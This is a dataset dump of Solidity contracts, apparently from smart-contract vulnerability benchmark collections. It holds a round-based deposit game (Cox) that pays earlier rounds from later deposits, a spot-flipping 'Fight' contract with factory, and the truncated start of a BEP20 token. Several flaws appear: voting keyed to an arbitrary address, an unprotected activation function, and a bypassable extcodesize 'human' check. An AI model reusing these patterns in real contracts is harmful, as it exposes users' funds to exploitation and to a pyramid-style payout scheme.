hash
stringlengths 64
64
| size
int64 7k
624k
| ext
stringclasses 1
value | lang
stringclasses 1
value | is_test
bool 2
classes | repo_id
stringclasses 846
values | repo_name
stringclasses 846
values | repo_head
stringclasses 846
values | repo_path
stringlengths 7
155
| content_tokens
int64 1.82k
42.6k
| content_chars
int64 6.85k
58.7k
| content
stringlengths 6.85k
58.7k
| __index_level_0__
int64 84
346k
| id
int64 0
14.2k
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
29879793a11403a2a2c3a314f2694551b58d593cff7d4eba62b3bbc40fa8e483
| 20,973 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0xcbdbfa19ba66b3010e9ec1e31075bddff8dccad9.sol
| 5,614 | 20,758 |
pragma solidity ^0.4.17;
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
}
library TableLib {
using SafeMath for uint256;
struct TableValue {
bool exists;
uint256 value;
}
struct Table {
mapping (address => TableValue) tableMapping;
address[] addressList;
}
function getNum(Table storage tbl, address adrs) internal view returns (uint256 num) {
return tbl.tableMapping[adrs].value;
}
function add(Table storage tbl, address adrs, uint256 num) internal {
if (!tbl.tableMapping[adrs].exists) {
tbl.addressList.push(adrs);
tbl.tableMapping[adrs].exists = true;
}
tbl.tableMapping[adrs].value = tbl.tableMapping[adrs].value.add(num);
}
function getValues(Table storage tbl, uint256 page) internal view
returns (uint256 count, address[] addressList, uint256[] numList) {
count = tbl.addressList.length;
uint256 maxPageSize = 50;
uint256 index = 0;
uint256 pageSize = maxPageSize;
if (page*maxPageSize > count) {
pageSize = count - (page-1)*maxPageSize;
}
addressList = new address[](pageSize);
numList = new uint256[](pageSize);
for (uint256 i = (page - 1) * maxPageSize; i < count && index < pageSize; i++) {
address adrs = tbl.addressList[i];
addressList[index] = adrs;
numList[index] = tbl.tableMapping[adrs].value;
index++;
}
}
}
library HolderLib {
using SafeMath for uint256;
struct HolderValue {
uint256 value;
uint256[] relatedRoundIds;
uint256 fromIndex;
string refCode;
}
struct Holder {
mapping (address => HolderValue) holderMap;
}
function getNum(Holder storage holder, address adrs) internal view returns (uint256 num) {
return holder.holderMap[adrs].value;
}
function setRefCode(Holder storage holder, address adrs, string refCode) internal {
holder.holderMap[adrs].refCode = refCode;
}
function getRefCode(Holder storage holder, address adrs) internal view returns (string refCode) {
return holder.holderMap[adrs].refCode;
}
function add(Holder storage holder, address adrs, uint256 num) internal {
holder.holderMap[adrs].value = holder.holderMap[adrs].value.add(num);
}
function sub(Holder storage holder, address adrs, uint256 num) internal {
holder.holderMap[adrs].value = holder.holderMap[adrs].value.sub(num);
}
function setNum(Holder storage holder, address adrs, uint256 num) internal {
holder.holderMap[adrs].value = num;
}
function addRelatedRoundId(Holder storage holder, address adrs, uint256 roundId) internal {
uint256[] storage ids = holder.holderMap[adrs].relatedRoundIds;
if (ids.length > 0 && ids[ids.length - 1] == roundId) {
return;
}
ids.push(roundId);
}
function removeRelatedRoundId(Holder storage holder, address adrs, uint256 roundId) internal {
HolderValue storage value = holder.holderMap[adrs];
require(value.relatedRoundIds[value.fromIndex] == roundId, 'only the fromIndex element can be removed');
value.fromIndex++;
}
}
library RoundLib {
using SafeMath for uint256;
using HolderLib for HolderLib.Holder;
using TableLib for TableLib.Table;
event Log(string str, uint256 v1, uint256 v2, uint256 v3);
uint256 constant private roundSizeIncreasePercent = 160;
struct Round {
uint256 roundId;
uint256 roundNum;
uint256 max;
TableLib.Table investers;
uint256 raised;
uint256 pot;
address addressOfMaxInvestment;
}
function getInitRound(uint256 initSize) internal pure returns (Round) {
TableLib.Table memory investers;
return Round({
roundId: 1,
roundNum: 1,
max: initSize,
investers: investers,
raised: 0,
pot: 0,
addressOfMaxInvestment: 0
});
}
function getNextRound(Round storage round, uint256 initSize) internal view returns (Round) {
TableLib.Table memory investers;
bool isFinished = round.max == round.raised;
return Round({
roundId: round.roundId + 1,
roundNum: isFinished ? round.roundNum + 1 : 1,
max: isFinished ? round.max * roundSizeIncreasePercent / 100 : initSize,
investers: investers,
raised: 0,
pot: 0,
addressOfMaxInvestment: 0
});
}
function add (Round storage round, address adrs, uint256 amount) internal
returns (bool isFinished, uint256 amountUsed) {
if (round.raised + amount >= round.max) {
isFinished = true;
amountUsed = round.max - round.raised;
} else {
isFinished = false;
amountUsed = amount;
}
round.investers.add(adrs, amountUsed);
if (round.addressOfMaxInvestment == 0 || getNum(round, adrs) > getNum(round, round.addressOfMaxInvestment)) {
round.addressOfMaxInvestment = adrs;
}
round.raised = round.raised.add(amountUsed);
}
function getNum(Round storage round, address adrs) internal view returns (uint256) {
return round.investers.getNum(adrs);
}
function getBalance(Round storage round, address adrs)
internal view returns (uint256) {
uint256 balance = round.investers.getNum(adrs);
if (balance == 0) {
return balance;
}
return balance * round.pot / round.raised;
}
function moveToHolder(Round storage round, address adrs, HolderLib.Holder storage coinHolders) internal {
if (round.pot == 0) {
return;
}
uint256 amount = getBalance(round, adrs);
if (amount > 0) {
coinHolders.add(adrs, amount);
coinHolders.removeRelatedRoundId(adrs, round.roundId);
}
}
function getInvestList(Round storage round, uint256 page) internal view
returns (uint256 count, address[] addressList, uint256[] numList) {
return round.investers.getValues(page);
}
}
library DealerLib {
using SafeMath for uint256;
struct DealerInfo {
address addr;
uint256 amount;
uint256 rate;
}
struct Dealers {
mapping (string => DealerInfo) dealerMap;
mapping (address => string) addressToCodeMap;
}
function query(Dealers storage dealers, string code) internal view returns (DealerInfo storage) {
return dealers.dealerMap[code];
}
function queryCodeByAddress(Dealers storage dealers, address adrs) internal view returns (string code) {
return dealers.addressToCodeMap[adrs];
}
function dealerExisted(Dealers storage dealers, string code) internal view returns (bool value) {
return dealers.dealerMap[code].addr != 0x0;
}
function insert(Dealers storage dealers, string code, address addr, uint256 rate) internal {
require(!dealerExisted(dealers, code), "code existed");
require(bytes(queryCodeByAddress(dealers, addr)).length == 0, "address existed in dealers");
setDealer(dealers, code, addr, rate);
}
function update(Dealers storage dealers, string code, address addr, uint256 rate) internal {
address oldAddr = dealers.dealerMap[code].addr;
require(oldAddr != 0x0, "code not exist");
require(bytes(queryCodeByAddress(dealers, addr)).length == 0, "address existed in dealers");
delete dealers.addressToCodeMap[oldAddr];
setDealer(dealers, code, addr, rate);
}
function setDealer(Dealers storage dealers, string code, address addr, uint256 rate) private {
require(addr != 0x0, "invalid address");
require(rate <= 300, "invalid rate");
dealers.addressToCodeMap[addr] = code;
dealers.dealerMap[code].addr = addr;
dealers.dealerMap[code].rate = rate;
}
function addAmount(Dealers storage dealers, string code, uint256 amountUsed) internal
returns (uint256 amountToDealer) {
require(amountUsed > 0, "amount must be greater than 0");
require(dealerExisted(dealers, code), "code not exist");
amountToDealer = amountUsed * dealers.dealerMap[code].rate / 10000;
dealers.dealerMap[code].amount = dealers.dealerMap[code].amount.add(amountToDealer);
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Cox is Ownable {
using SafeMath for uint256;
using HolderLib for HolderLib.Holder;
using RoundLib for RoundLib.Round;
using DealerLib for DealerLib.Dealers;
event RoundIn(address addr, uint256 amt, uint256 currentRoundRaised, uint256 round, uint256 bigRound, string refCode);
event Log(string str, uint256 value);
event PoolAdd(uint256 value);
event PoolSub(uint256 value);
uint256 private roundDuration = 1 days;
uint256 private initSize = 10 ether;
uint256 private minRecharge = 0.01 ether;
bool private mIsActive = false;
bool private isAutoRestart = true;
uint256 private rate = 300;
string private defaultRefCode = "owner";
DealerLib.Dealers private dealers;
HolderLib.Holder private coinHolders;
RoundLib.Round[] private roundList;
uint256 private fundPoolSize;
uint256 private roundStartTime;
uint256 private roundEndTime;
uint256 private bigRound = 1;
uint256 private totalAmountInvested = 0;
constructor() public {
roundList.push(RoundLib.getInitRound(initSize));
dealers.insert(defaultRefCode, msg.sender, 100);
}
function transferOwnership(address _newOwner) public onlyOwner {
Ownable.transferOwnership(_newOwner);
dealers.update(defaultRefCode, _newOwner, 100);
}
function poolAdd(uint256 value) private {
fundPoolSize = fundPoolSize.add(value);
emit PoolAdd(value);
}
function poolSub(uint256 value) private {
fundPoolSize = fundPoolSize.sub(value);
emit PoolSub(value);
}
modifier isActive() {
require(mIsActive == true, "it's not ready yet.");
require(now >= roundStartTime, "it's not started yet.");
_;
}
modifier callFromHuman(address addr) {
uint size;
assembly {size := extcodesize(addr)}
require(size == 0, "not human");
_;
}
function recharge(string code) public isActive callFromHuman(msg.sender) payable {
require(msg.value >= minRecharge, "not enough fund");
string memory _code = coinHolders.getRefCode(msg.sender);
if (bytes(_code).length > 0) {
code = _code;
} else {
if (!dealers.dealerExisted(code)) {
code = defaultRefCode;
}
coinHolders.setRefCode(msg.sender, code);
}
coinHolders.add(msg.sender, msg.value);
roundIn(msg.value, code);
}
function moveRoundsToHolder(address adrs) internal {
HolderLib.HolderValue storage holderValue = coinHolders.holderMap[adrs];
uint256[] memory roundIds = holderValue.relatedRoundIds;
uint256 roundId;
for (uint256 i = holderValue.fromIndex; i < roundIds.length; i++) {
roundId = roundIds[i];
roundList[roundId - 1].moveToHolder(adrs, coinHolders);
}
}
function withdraw() public callFromHuman(msg.sender) {
moveRoundsToHolder(msg.sender);
uint256 amount = coinHolders.getNum(msg.sender);
if (amount > 0) {
coinHolders.sub(msg.sender, amount);
msg.sender.transfer(amount);
}
}
function roundIn() public isActive {
string memory code = coinHolders.getRefCode(msg.sender);
require(bytes(code).length > 0, "code must not be empty");
require(dealers.dealerExisted(code), "dealer not exist");
moveRoundsToHolder(msg.sender);
uint256 amount = coinHolders.getNum(msg.sender);
require(amount > 0, "your balance is 0");
roundIn(amount, code);
}
function endRound() public isActive {
RoundLib.Round storage curRound = roundList[roundList.length - 1];
endRoundWhenTimeout(curRound);
}
function endRoundWhenTimeout(RoundLib.Round storage curRound) private isActive {
if (now >= roundEndTime) {
uint256 preRoundMax = 0;
if (curRound.roundNum > 1) {
RoundLib.Round storage preRound = roundList[roundList.length - 2];
preRoundMax = preRound.max;
}
uint256 last2RoundsRaised = preRoundMax + curRound.raised;
if (last2RoundsRaised > 0) {
if (curRound.addressOfMaxInvestment != 0) {
uint256 amountToLuckyDog = fundPoolSize * 2 / 10;
coinHolders.add(curRound.addressOfMaxInvestment, amountToLuckyDog);
poolSub(amountToLuckyDog);
}
curRound.pot = curRound.raised * fundPoolSize / last2RoundsRaised;
if (curRound.roundNum > 1) {
preRound.pot = preRound.raised * fundPoolSize / last2RoundsRaised;
poolSub(preRound.pot);
}
poolSub(curRound.pot);
}
mIsActive = isAutoRestart;
startNextRound(curRound);
bigRound++;
}
}
function startNextRound(RoundLib.Round storage curRound) private {
roundList.push(curRound.getNextRound(initSize));
roundStartTime = now;
roundEndTime = now + roundDuration;
}
function roundIn(uint256 amt, string code) private isActive {
require(coinHolders.getNum(msg.sender) >= amt, "not enough coin");
RoundLib.Round storage curRound = roundList[roundList.length - 1];
if (now >= roundEndTime) {
endRoundWhenTimeout(curRound);
return;
}
(bool isFinished, uint256 amountUsed) = curRound.add(msg.sender, amt);
totalAmountInvested = totalAmountInvested.add(amountUsed);
require(amountUsed > 0, 'amountUsed must greater than 0');
emit RoundIn(msg.sender, amountUsed, curRound.raised, curRound.roundNum, bigRound, code);
coinHolders.addRelatedRoundId(msg.sender, curRound.roundId);
coinHolders.sub(msg.sender, amountUsed);
uint256 amountToDealer = dealers.addAmount(code, amountUsed);
uint256 amountToOwner = (amountUsed * rate / 10000).sub(amountToDealer);
coinHolders.add(owner, amountToOwner);
coinHolders.add(dealers.query(code).addr, amountToDealer);
poolAdd(amountUsed.sub(amountToDealer).sub(amountToOwner));
if (isFinished) {
if (curRound.roundNum > 1) {
RoundLib.Round storage preRound2 = roundList[roundList.length - 2];
preRound2.pot = preRound2.max * 11 / 10;
poolSub(preRound2.pot);
}
startNextRound(curRound);
}
}
function verifyCodeLength(string code) public pure returns (bool) {
return bytes(code).length >= 4 && bytes(code).length <= 20;
}
function addDealer(string code, address addr, uint256 _rate) public onlyOwner {
require(verifyCodeLength(code), "code length should between 4 and 20");
dealers.insert(code, addr, _rate);
}
function addDealerForSender(string code) public {
require(verifyCodeLength(code), "code length should between 4 and 20");
dealers.insert(code, msg.sender, 100);
}
function getDealerInfo(string code) public view returns (string _code, address adrs, uint256 amount, uint256 _rate) {
DealerLib.DealerInfo storage dealer = dealers.query(code);
return (code, dealer.addr, dealer.amount, dealer.rate);
}
function updateDealer(string code, address addr, uint256 _rate) public onlyOwner {
dealers.update(code, addr, _rate);
}
function setIsAutoRestart(bool isAuto) public onlyOwner {
isAutoRestart = isAuto;
}
function setMinRecharge(uint256 a) public onlyOwner {
minRecharge = a;
}
function setRoundDuration(uint256 a) public onlyOwner {
roundDuration = a;
}
function setInitSize(uint256 size) public onlyOwner {
initSize = size;
RoundLib.Round storage curRound = roundList[roundList.length - 1];
if (curRound.roundNum == 1 && curRound.raised < size) {
curRound.max = size;
}
}
function activate() public onlyOwner {
require(mIsActive == false, "already activated");
mIsActive = true;
roundStartTime = now;
roundEndTime = now + roundDuration;
}
function setStartTime(uint256 startTime) public onlyOwner {
roundStartTime = startTime;
roundEndTime = roundStartTime + roundDuration;
}
function deactivate() public onlyOwner {
require(mIsActive == true, "already deactivated");
mIsActive = false;
}
function getGlobalInfo() public view returns
(bool _isActive, bool _isAutoRestart, uint256 _round, uint256 _bigRound,
uint256 _curRoundSize, uint256 _curRoundRaised, uint256 _fundPoolSize,
uint256 _roundStartTime, uint256 _roundEndTime, uint256 _totalAmountInvested) {
RoundLib.Round storage curRound = roundList[roundList.length - 1];
return (mIsActive, isAutoRestart, curRound.roundNum, bigRound,
curRound.max, curRound.raised, fundPoolSize,
roundStartTime, roundEndTime, totalAmountInvested);
}
function getMyInfo() public view
returns (address ethAddress, uint256 balance, uint256 preRoundAmount, uint256 curRoundAmount,
string dealerCode, uint256 dealerAmount, uint256 dealerRate) {
return getAddressInfo(msg.sender);
}
function getAddressInfo(address _address) public view
returns (address ethAddress, uint256 balance, uint256 preRoundAmount, uint256 curRoundAmount,
string dealerCode, uint256 dealerAmount, uint256 dealerRate) {
RoundLib.Round storage curRound = roundList[roundList.length - 1];
preRoundAmount = 0;
if (curRound.roundNum > 1) {
RoundLib.Round storage preRound = roundList[roundList.length - 2];
preRoundAmount = preRound.getNum(_address);
}
(dealerCode, , dealerAmount, dealerRate) = getDealerInfo(dealers.queryCodeByAddress(_address));
return (_address, coinHolders.getNum(_address) + getBalanceFromRound(_address),
preRoundAmount, curRound.getNum(_address), dealerCode, dealerAmount, dealerRate);
}
function getBalanceFromRound(address adrs) internal view returns (uint256) {
HolderLib.HolderValue storage holderValue = coinHolders.holderMap[adrs];
uint256[] storage roundIds = holderValue.relatedRoundIds;
uint256 roundId;
uint256 balance = 0;
for (uint256 i = holderValue.fromIndex; i < roundIds.length; i++) {
roundId = roundIds[i];
balance += roundList[roundId - 1].getBalance(adrs);
}
return balance;
}
function getRoundInfo(uint256 roundId, uint256 page) public view
returns (uint256 _roundId, uint256 roundNum, uint256 max, uint256 raised, uint256 pot,
uint256 count, address[] addressList, uint256[] numList) {
RoundLib.Round storage round = roundList[roundId - 1];
_roundId = round.roundId;
roundNum = round.roundNum;
max = round.max;
raised = round.raised;
pot = round.pot;
(count, addressList, numList) = round.getInvestList(page);
}
}
| 164,932 | 200 |
943f5428f766c545397e0eeafb7d6d35b31d3431f8c7622236981a197456cdcc
| 15,643 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/9f/9f36b68450e13f42ccde4ae1b25cc694a288f72d_fightFactory.sol
| 4,305 | 14,890 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.10;
interface IS {
function stakeVSlice_h56(uint _amount, address _addr) external;
function unstakeVSlice_Hha(uint _amount, address _addr) external;
function addFightToWl (address _fc) external;
function fightMint(address _fa, uint _users, address _ls, uint spotCount) external;
function vSliceViewBalance (address _addr) view external returns (uint);
function wl(address _addr) view external returns (bool);
function active (address _fa, address _fcontract) external;
}
contract Fight {
address flipper;
address dev;
address dev2;
address fightAdmin;
address tc;
address influ2;
address charity;
uint totalStaked;
uint dscs;
uint dscs2;
uint spotResPrice;
uint spotCounter;
uint flipperShare;
uint influ2Share;
uint spotCashBack;
uint usersSlice;
uint charitySlice;
uint iscs;
uint uscs;
uint maxUsers;
uint spotBusyTime;
uint spotReservTime;
uint v1;
uint v2;
address lsp;
address ls;
uint actTimer;
uint startTime;
address ff;
uint created;
function _a() private view {
require (msg.sender == fightAdmin, "");
}
modifier a() {
_a();
_;
}
mapping (address => uint) pw;
mapping (address => uint) votes;
error NotEnoughEther();
error YouHaveToReserveFirst();
error FinishFightFirst();
struct fightData {
uint initPrice;
uint np;
uint extention;
uint duration;
string[5] fightTopics;
string promo1;
string promo2;
address influ1;
string shortUrl;
}
fightData[] fight;
constructor(address _ff, address _dev, address _dev2, uint _dscs,uint _dscs2, uint _spotResPrice, address _fightAdmin, address _tc, address _influ2, address _charity, address _lsp) {
dev = _dev;
dev2 = _dev2;
dscs = _dscs;
dscs2 = _dscs2;
iscs=10;
uscs=54;
flipperShare=70;
influ2Share=10;
usersSlice=85;
charitySlice=5;
spotCashBack=100;
maxUsers=20000;
spotBusyTime=300;
spotReservTime=300;
spotResPrice = _spotResPrice;
fightAdmin=_fightAdmin;
tc =_tc;
influ2 = _influ2;
charity = _charity;
ff=_ff;
lsp=_lsp;
}
function addFightData(address influ1,
uint initPrice,
uint np,
uint extention,
uint duration,
string[5] memory fightTopics,
string memory promo1,
string memory promo2,
string memory shortUrl) public a{
require(extention <=3600 && duration<= 604800 && duration > 86400, '');
fight.push(fightData(initPrice,
np,
extention,
duration,
fightTopics,
promo1,
promo2,
influ1=fightAdmin,
shortUrl));
actTimer=duration;
startTime=block.timestamp;
ls=influ1;
IS(ff).active (msg.sender, address(this));
created=block.timestamp;
}
struct Spots {
uint SpotNo;
uint priceOfSpot;
uint bu;
uint ru;
address flipper;
address booker;
string text;
string link;
string pic;
string mediaType;
}
Spots [] spots;
struct Entry{
uint index;
uint value;
}
mapping(address => Entry) map;
address[] keyList;
// Stake Virtual Slice
function stakeingVSlice_C64(uint _value) public {
require(maxUsers>keyList.length, "");
Entry storage entry = map[msg.sender];
entry.value += _value;
totalStaked += _value;
IS(tc).stakeVSlice_h56(_value, msg.sender);
if(entry.index > 0){
return;
}else {
keyList.push(msg.sender);
uint keyListIndex = keyList.length - 1;
entry.index = keyListIndex + 1;
}
}
//Unstake Virtual Slice
function unstakeingVSlice_EK(uint _value) public {
Entry storage entry = map[msg.sender];
require(entry.value>=_value, "");
entry.value -= _value;
totalStaked -= _value;
IS(tc).unstakeVSlice_Hha(_value, msg.sender);
if(entry.index > 0){
return;
}else {
keyList.push(msg.sender);
uint keyListIndex = keyList.length - 1;
entry.index = keyListIndex + 1;
}
}
//view Virtual Slice balance
function viewVSliceBalance () view external returns (uint){
return IS(tc).vSliceViewBalance(msg.sender);
}
//Create spot
function createSpot_g4A(string memory _text, string memory _link, string memory _pic, string memory _mediaType) external payable {
fightData storage m = fight[0];
require((startTime+actTimer) > block.timestamp, '');
if (msg.value != m.initPrice) revert NotEnoughEther();
pw[dev] += (m.initPrice * dscs/100);
pw[dev2] += (m.initPrice * dscs2/100);
pw[lsp] += (m.initPrice * 30/100);
pw[m.influ1] += (m.initPrice * iscs/100)/2;
pw[influ2] += (m.initPrice * iscs/100)/2;
if (keyList.length!=0) {
for (uint i = 0; i < keyList.length; i++)
{
Entry storage entry = map[keyList[i]];
if (IS(tc).wl(keyList[i])==true) {
pw[keyList[i]] += ((m.initPrice * uscs/100) * entry.value/totalStaked);}
else { pw[charity] += ((m.initPrice * uscs/100) * entry.value/totalStaked); }
}
} else {pw[charity]+=(m.initPrice * uscs/100);}
uint nextPrice = m.initPrice + ((m.initPrice * m.np)/100);
spotCounter=spotCounter+1;
uint spotN = spotCounter;
string memory text = _text;
string memory link = _link;
string memory pic= _pic;
string memory mediaType=_mediaType;
ls=msg.sender;
//timer start
uint timeLeft = actTimer - (block.timestamp-startTime);
if (block.timestamp - created > 604800)
{actTimer= 0;}
else if (timeLeft+m.extention >=m.duration)
{actTimer=m.duration;}
else {actTimer= timeLeft+ m.extention;}
startTime = block.timestamp;
//timer end
spots.push(Spots(spotN, nextPrice,block.timestamp+spotBusyTime, block.timestamp, msg.sender,msg.sender, text, link, pic, mediaType));
}
//flip
function flip_Maf(uint _index, string memory _text, string memory _link, string memory _pic, string memory _mediaType) external payable {
uint cb;
Spots storage spot = spots[_index];
fightData storage m = fight[0];
require(spot.bu < block.timestamp, '');
require(spot.booker==msg.sender || spot.ru<block.timestamp, '');
require((startTime+actTimer) > block.timestamp, '');
if (msg.value != spot.priceOfSpot) revert NotEnoughEther();
uint currentPrice = spot.priceOfSpot;
uint previousPrice = ((currentPrice / ((100 + m.np)))*100);
cb= ((previousPrice * spotCashBack)/100);
uint exFlipperProfit = ((currentPrice - previousPrice) * flipperShare)/100;
uint nextPrice = ((spot.priceOfSpot * ((100 + m.np)))/100);
pw[spot.flipper] += (cb + exFlipperProfit);
uint toDistro = spot.priceOfSpot - (cb + exFlipperProfit);
pw[m.influ1] += (toDistro * influ2Share/100)/2;
pw[influ2] += (toDistro * influ2Share/100)/2;
pw[charity] += (toDistro * charitySlice/100);
if (keyList.length!=0) {
for (uint i = 0; i < keyList.length; i++)
{
Entry storage entry = map[keyList[i]];
if (IS(tc).wl(keyList[i])==true) {
pw[keyList[i]] += (toDistro * usersSlice/100) * entry.value/totalStaked;}
else {pw[charity] += (toDistro * usersSlice/100) * entry.value/totalStaked;}
}
} else {pw[charity]+=(toDistro * usersSlice/100);}
spot.flipper = msg.sender;
spot.priceOfSpot = nextPrice;
spot.bu = block.timestamp+spotBusyTime;
spot.ru=block.timestamp;
spot.text = _text;
spot.link = _link;
spot.pic= _pic;
spot.mediaType=_mediaType;
ls=msg.sender;
//timer start
uint timeLeft = actTimer - (block.timestamp-startTime);
if (block.timestamp - created > 604800)
{actTimer= 0;}
else if (timeLeft+m.extention >=m.duration)
{actTimer=m.duration;}
else {actTimer= timeLeft+ m.extention;}
startTime = block.timestamp;
//timer end
}
//Get spots
function getSpots() public view returns (Spots[] memory){
Spots[] memory id = new Spots[](spots.length);
for (uint i = 0; i < spots.length; i++) {
Spots storage spot = spots[i];
id[i] = spot;
}
return id;
}
//Spot Reservation
function spotReserve_u5k(uint _indx) external payable {
Spots storage spot = spots[_indx];
require(spot.bu<block.timestamp && spot.ru<block.timestamp && spot.flipper != msg.sender, "");
if (msg.value != spotResPrice) revert NotEnoughEther();
pw[dev]+=spotResPrice;
spot.ru = block.timestamp+spotReservTime;
spot.booker=msg.sender;
}
//Spot reset
function resetspot(uint _indx) external a (){
fightData storage m = fight[0];
Spots storage spot = spots[_indx];
spot.priceOfSpot=m.initPrice;
spot.bu=0;
spot.ru=0;
spot.text='';
spot.pic='';
spot.link='';
}
//make withdrawal
function makeWithdrawal() public {
uint amount = pw[msg.sender];
pw[msg.sender] = 0;
payable(msg.sender).transfer(amount);
}
//make withdrawal of Last Spot Pot
function makeWithdrawalLSP() public {
require(ls==msg.sender && (startTime+actTimer) <= block.timestamp, '');
uint amount = pw[lsp];
pw[lsp] = 0;
actTimer=0;
payable(msg.sender).transfer(amount);
//minting reward to influencer 1
IS(tc).fightMint(fightAdmin, keyList.length, ls, spotCounter);
}
//Vote 1
function voting1_E7O(address _addr) public {
require(votes[_addr]==0 && IS(tc).wl(msg.sender)==true,'');
votes[_addr]=1;
v1 +=1;
}
//Vote 2
function voting2_eoL(address _addr) public {
require(votes[_addr]==0 && IS(tc).wl(msg.sender)==true,'');
votes[_addr]=1;
v2 +=1;
}
//Get fight data
function getFightData () public view returns (address, uint, uint, uint, uint, string[5] memory, string memory ,string memory, string memory) {
fightData storage spot = fight[0];
return (spot.influ1, spot.initPrice, spot.np, spot.extention, spot.duration, spot.fightTopics, spot.promo1, spot.promo2, spot.shortUrl);}
// Staked tokens - number of Stakers - voted - fight createdDate
function getFightParams2 () view external returns (uint, uint, uint, address, uint, uint, uint, uint, uint) {
Entry storage entry = map[msg.sender];
return (entry.value, keyList.length, created, charity, spotResPrice, uscs, charitySlice, usersSlice, actTimer);
}
//Get fights parameters
function getFightParams() public view returns (uint, uint, uint, uint, uint, uint, uint , uint , uint, uint,uint, uint) {
return (flipperShare,influ2Share,spotCashBack,usersSlice, charitySlice,iscs, uscs, maxUsers,spotBusyTime, spotReservTime, actTimer,startTime);}
//Show withrawal balances and votes
function showBalance() view external returns (uint, uint, uint, address, uint, uint, uint, uint, uint) {
return (pw[msg.sender], pw[charity], pw[lsp],ls, created, actTimer, v1, v2, totalStaked);
}
//Update fight promo
function ufp (string memory _promo1, string memory _promo2) public {
fightData storage spot = fight[0];
require((spot.influ1==msg.sender) , '');
spot.promo2 = _promo2;
spot.promo1=_promo1;
}
//Set fight parameters
function sF (uint fs, uint infs, uint scb, uint us, uint cs, uint _iscs, uint _uscs, uint mu, uint sbt, uint srt) public a(){
require ((infs+us+cs) == 100 && (_iscs+_uscs+dscs+dscs2) == 70 && spotReservTime >= 300 && flipperShare <=100 && spotCashBack<=100, '');
flipperShare = fs;
influ2Share = infs;
spotCashBack = scb;
usersSlice = us;
charitySlice = cs;
iscs = _iscs;
uscs = _uscs;
maxUsers=mu;
spotBusyTime = sbt;
spotReservTime = srt;
}
}
contract fightFactory {
address dev;
address dev2;
uint dscs;
uint dscs2;
uint spotResPrice;
address fightAdmin;
address tc;
address lca;
address influ2;
address charity;
address lsp;
struct fc {
address fightAdmin;
address fightContract;
bool active;
}
fc [] fcl;
mapping(address => mapping(address =>uint)) index;
mapping(address => uint) fightCount;
constructor (address _tc) {
dev = msg.sender;
lsp=0x52dfA76eDDEF5DC72fb7EcF0e963e7a10Fd6c093;
tc= _tc;
dscs= 1;
dscs2=5;
spotResPrice=10000000000000000;
}
//creating a new fight
event createNewFight (address indexed fightAddress, address indexed dev2);
function createFight(address _dev2, address _influ2, address _charity) external returns(address){
fightAdmin= msg.sender;
lca = address(new Fight(address(this),dev,_dev2,dscs,dscs2,spotResPrice, fightAdmin, tc, _influ2, _charity, lsp));
fcl.push(fc(msg.sender, lca, false));
index[msg.sender][lca]=fcl.length-1;
fightCount[msg.sender] +=1;
IS(tc).addFightToWl(lca);
emit createNewFight (lca, _dev2);
return lca;
}
//get fights by admin
function getFightsByAdmin(address _owner) public view returns (fc[] memory) {
fc[] memory result = new fc[](fightCount[_owner]);
uint counter = 0;
for (uint i = 0; i < fcl.length; i++) {
if (fcl[i].fightAdmin == _owner) {
fc storage list = fcl[i];
result[counter] = list;
counter++;
}
}
return result;
}
function getAllFights() public view returns (fc[] memory){
fc[] memory id = new fc[](fcl.length);
for (uint i = 0; i < fcl.length; i++) {
fc storage spot = fcl[i];
id[i] = spot;
}
return id;
}
function active (address _fa, address _fcontract) external {
uint ind = index[_fa][_fcontract];
fc storage m = fcl[ind];
m.active=true;
}
//Set Spot Reservation Price
function srp (uint _price) external {
require(msg.sender == dev, "");
spotResPrice = _price;
}
}
| 86,501 | 201 |
1734a7cb5d3972257ee56ab8ce2dbe48ec86c02e79f6702187373d4f59ab132a
| 29,047 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xd6D091B4f3c611315423Ee664463c80BAa5a4d9C/contract.sol
| 5,112 | 18,355 |
// Corona Pay Platform Token BEP20
//
// Web: https://crn.monster
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
